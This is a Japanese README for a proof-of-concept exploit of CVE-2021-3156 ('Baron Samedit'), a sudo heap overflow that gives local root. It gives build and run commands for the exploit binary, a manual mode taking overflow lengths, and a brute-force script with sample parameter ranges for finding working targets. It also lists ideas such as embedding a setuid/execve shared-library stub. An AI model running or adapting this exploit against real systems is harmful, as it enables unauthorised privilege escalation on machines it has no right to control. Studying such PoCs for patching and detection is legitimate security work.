CVE-2021-3156 PoC

はじめに

これは、QualysによってBaron Sameditと呼ばれるCVE-2021-3156 sudo脆弱性のエクスプロイトです。

使い方

ビルド:

$ make

ターゲット一覧:

$ ./sudo-hax-me-a-sandwich

実行:

$ ./sudo-hax-me-a-sandwich <target_number>

手動モード:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

ブルートフォースターゲット検索（実験的）

GNU parallel がインストールされていることを確認してください。

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

試すデフォルト値の例:

$ ./brute.sh 90 120 50 70 150 300

利用可能なすべてのコアを消費します。netflix & brute はやめてください。

コントリビューション

（適切な）PRを送ってください。マージするかもしれません。

いくつかのアイデア:

• より多くのターゲット
• ターゲット検索
• その他のエクスプロイト戦略
• より自己完結した機能:
  • 共有ライブラリ hax.c を埋め込む（小さくしてください、ELF golf + asm setuid/execve stub）
  • hax.c に mkdir ロジックを追加
• ディレクトリ/共有ライブラリのクリーンアップ